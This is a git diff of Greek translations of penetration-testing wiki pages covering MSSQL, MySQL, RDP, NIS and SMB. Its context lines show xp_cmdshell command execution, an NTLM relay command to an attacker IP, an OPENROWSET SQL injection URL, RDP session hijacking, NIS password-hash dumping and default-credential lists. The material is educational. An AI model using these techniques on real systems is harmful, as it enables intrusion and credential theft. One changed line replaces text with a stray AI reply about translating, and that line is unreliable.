> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
|
||||
> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
|
||||
|
||||
**Default port:** 1433
|
||||
```
|
||||
@ -17,7 +17,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
- **master Database**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια εγκατάσταση SQL Server.
|
||||
- **msdb Database**: Ο SQL Server Agent χρησιμοποιεί αυτή τη βάση δεδομένων για να διαχειρίζεται τον προγραμματισμό για ειδοποιήσεις και εργασίες.
|
||||
- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, ταξινόμηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες δημιουργούμενες βάσεις δεδομένων.
|
||||
- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
|
||||
- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που έρχονται με το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
|
||||
- **tempdb Database**: Λειτουργεί ως προσωρινός χώρος αποθήκευσης για παροδικά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
|
||||
|
||||
## Απαρίθμηση
|
||||
@ -157,9 +157,9 @@ SELECT * FROM sysusers
|
||||
|
||||
1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
|
||||
- **Server** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
|
||||
- **Database** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
|
||||
- **Schema** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κ.λπ.
|
||||
2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα:
|
||||
- **Database** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
|
||||
- **Schema** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα κ.λπ.
|
||||
2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών πραγματοποιείται σε δύο επίπεδα:
|
||||
- **Server Level** χρησιμοποιώντας συνδέσεις
|
||||
- **Database Level** χρησιμοποιώντας χρήστες
|
||||
3. **Principal:** Αυτός ο όρος αναφέρεται στην οντότητα που έχει παραχωρηθεί άδεια σε ένα securable. Οι κύριοι περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα securables ασκείται μέσω της παραχώρησης ή άρνησης αδειών ή με την ένταξη συνδέσεων και χρηστών σε ρόλους που είναι εξοπλισμένοι με δικαιώματα πρόσβασης.
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Execute OS Commands
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά και να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με:
|
||||
> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιοι (εκτός από τους sysadmins) μπορούν να χρησιμοποιήσουν **`xp_cmdshell`** με:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
> [!WARNING]
|
||||
> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελέσει αυτές τις λειτουργίες MSSQL με:
|
||||
> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με:
|
||||
>
|
||||
> ```sql
|
||||
> Use master;
|
||||
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Διαβάστε αρχείο με** OPENROWSET
|
||||
|
||||
Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείου **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαιώματα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση:
|
||||
Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -315,7 +315,7 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### Vector σφάλματος για SQLi:
|
||||
#### Σφάλμα-βασισμένο διάνυσμα για SQLi:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
@ -343,10 +343,10 @@ GO
|
||||
```
|
||||
### Ανάγνωση Μητρώου
|
||||
|
||||
Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server παρέχει **πολλές επεκταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Κανονικές** | **Ευαισθητοποιημένες σε Instance** |
|
||||
| ----------------------------- | ------------------------------------ |
|
||||
| **Κανονική** | **Ευαισθητοποιημένη σε Instance** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
||||
@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσουν μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν προκειμένου να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή ή τη δυνατότητα διαχείρισης των ρυθμίσεων του SQL Server.
|
||||
Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server.
|
||||
|
||||
Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής:
|
||||
|
||||
@ -547,7 +547,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Επίλυση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Τοπική Κλιμάκωση Δικαιωμάτων
|
||||
|
||||
|
@ -133,7 +133,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Χρήστης Mysql
|
||||
### Mysql Χρήστης
|
||||
|
||||
Θα είναι πολύ ενδιαφέρον αν το mysql εκτελείται ως **root**:
|
||||
```bash
|
||||
@ -151,7 +151,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
|
||||
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
|
||||
|
||||
### Ανύψωση δικαιωμάτων
|
||||
### Ανάβαση προνομίων
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
|
@ -8,12 +8,12 @@
|
||||
|
||||
### Summary & Security Tips:
|
||||
|
||||
- **Purpose**: Συγχρονίζει τις ρολόγια των συσκευών μέσω δικτύων.
|
||||
- **Importance**: Κρίσιμο για την ασφάλεια, την καταγραφή και τις λειτουργίες.
|
||||
- **Purpose**: Syncs device clocks over networks.
|
||||
- **Importance**: Critical for security, logging, and operations.
|
||||
- **Security Measures**:
|
||||
- Χρησιμοποιήστε αξιόπιστες πηγές NTP με αυθεντικοποίηση.
|
||||
- Περιορίστε την πρόσβαση στο δίκτυο του NTP server.
|
||||
- Παρακολουθήστε τον συγχρονισμό για σημάδια παρεμβολής.
|
||||
- Use trusted NTP sources with authentication.
|
||||
- Limit NTP server network access.
|
||||
- Monitor synchronization for signs of tampering.
|
||||
|
||||
**Default port:** 123/udp
|
||||
```
|
||||
|
@ -30,7 +30,7 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
|
||||
|
||||
### [POP3 bruteforce](../generic-hacking/brute-force.md#pop)
|
||||
|
||||
## Σύνταξη POP
|
||||
## POP σύνταξη
|
||||
|
||||
Παραδείγματα εντολών POP από [εδώ](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
```bash
|
||||
@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
|
||||
TOP msg n Show first n lines of message number msg
|
||||
CAPA Get capabilities
|
||||
```
|
||||
Παράδειγμα:
|
||||
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -5,16 +5,16 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική διεπαφή σύνδεσης μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη.
|
||||
Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική σύνδεση μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη.
|
||||
|
||||
**Default port:** 3389
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3389/tcp open ms-wbt-server
|
||||
```
|
||||
## Απαρίθμηση
|
||||
## Enumeration
|
||||
|
||||
### Αυτόματη
|
||||
### Automatic
|
||||
```bash
|
||||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||||
```
|
||||
@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
||||
|
||||
### Κλοπή συνεδρίας
|
||||
|
||||
Με **δικαιώματα SYSTEM** μπορείτε να έχετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου.
|
||||
Με **δικαιώματα SYSTEM** μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου.
|
||||
|
||||
**Λάβετε ανοιχτές συνεδρίες:**
|
||||
```
|
||||
@ -62,9 +62,9 @@ tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την δυνατότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows.
|
||||
|
||||
**Σημαντικό**: Όταν αποκτήσετε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.
|
||||
**Σημαντικό**: Όταν αποκτάτε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.
|
||||
|
||||
Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στον δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)
|
||||
Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -11,7 +11,7 @@
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
```
|
||||
## Καταμέτρηση
|
||||
## Απαρίθμηση
|
||||
```
|
||||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
@ -38,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1
|
||||
|
||||
.png>)
|
||||
|
||||
Το ταξίδι της εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση του `ypwhich` για να επιβεβαιωθεί η παρουσία του NIS server, κάνοντάς του ping με το όνομα τομέα και τη διεύθυνση IP του server, διασφαλίζοντας ότι αυτά τα στοιχεία είναι ανώνυμα για λόγους ασφαλείας.
|
||||
Το ταξίδι της εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση του `ypwhich` για να επιβεβαιωθεί η παρουσία του NIS server, κάνοντάς του ping με το όνομα τομέα και τη διεύθυνση IP του server, διασφαλίζοντας ότι αυτά τα στοιχεία είναι ανώνυμα για την ασφάλεια.
|
||||
|
||||
Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κωδικών πρόσβασης χρηστών που είναι κρυπτογραφημένοι. Αυτοί οι κατακερματισμοί, μόλις σπάσουν χρησιμοποιώντας εργαλεία όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα προνόμια.
|
||||
```bash
|
||||
@ -54,9 +54,9 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
| **Κύριο αρχείο** | **Χάρτης(ες)** | **Σημειώσεις** |
|
||||
| ---------------- | --------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | Περιέχει ονόματα υπολογιστών και λεπτομέρειες IP |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | Αρχείο κωδικών πρόσβασης χρηστών NIS |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | Αρχείο κωδικών χρηστών NIS |
|
||||
| /etc/group | group.byname, group.bygid | Αρχείο ομάδας NIS |
|
||||
| /usr/lib/aliases | mail.aliases | Λεπτομέρειες ψευδωνύμων email |
|
||||
| /usr/lib/aliases | mail.aliases | Λεπτομέρειες ψευδώνυμων email |
|
||||
|
||||
## RPC Χρήστες
|
||||
|
||||
@ -68,7 +68,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
|
||||
## Παράκαμψη Φιλτραρισμένου Portmapper port
|
||||
|
||||
Κατά τη διάρκεια ενός **nmap scan** και ανακαλύπτοντας ανοιχτές θύρες NFS με την θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με την **προσομοίωση μιας υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τη μηχανή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες σχετικά με αυτή τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο [σε αυτόν τον σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
Όταν διεξάγετε μια **σάρωση nmap** και ανακαλύπτετε ανοιχτές θύρες NFS με την θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με την **προσομοίωση μιας υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τη μηχανή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες σχετικά με αυτή τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο [σε αυτόν τον σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
|
||||
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -18,7 +18,7 @@
|
||||
```
|
||||
### SMB
|
||||
|
||||
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB εξασφαλίζει συμβατότητα με παλαιότερες εκδόσεις, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB.
|
||||
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε ένα **client-server** μοντέλο, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB διασφαλίζει την οπισθοδρομική συμβατότητα, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB.
|
||||
|
||||
Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή.
|
||||
|
||||
@ -81,11 +81,11 @@ searchsploit microsoft smb
|
||||
```
|
||||
### **Πιθανές** Διαπιστώσεις
|
||||
|
||||
| **Όνομα χρήστη(ων)** | **Κοινές κωδικοί πρόσβασης** |
|
||||
| **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** |
|
||||
| --------------------- | ------------------------------------------ |
|
||||
| _(κενό)_ | _(κενό)_ |
|
||||
| guest | _(κενό)_ |
|
||||
| Administrator, admin | _(κενό)_, password, administrator, admin |
|
||||
| Administrator, admin | _(κενό)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
```
|
||||
### Enumerate Users, Groups & Logged On Users
|
||||
|
||||
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συγκεντρωθεί από το enum4linux και το enum4linux-ng
|
||||
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συγκεντρωθεί από το enum4linux και το enum4linux-ng.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -139,7 +139,7 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
Μονογραμμή
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
@ -155,7 +155,7 @@ run
|
||||
pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI σύνδεση από linux
|
||||
### Σύνδεση GUI από linux
|
||||
|
||||
#### Στο τερματικό:
|
||||
|
||||
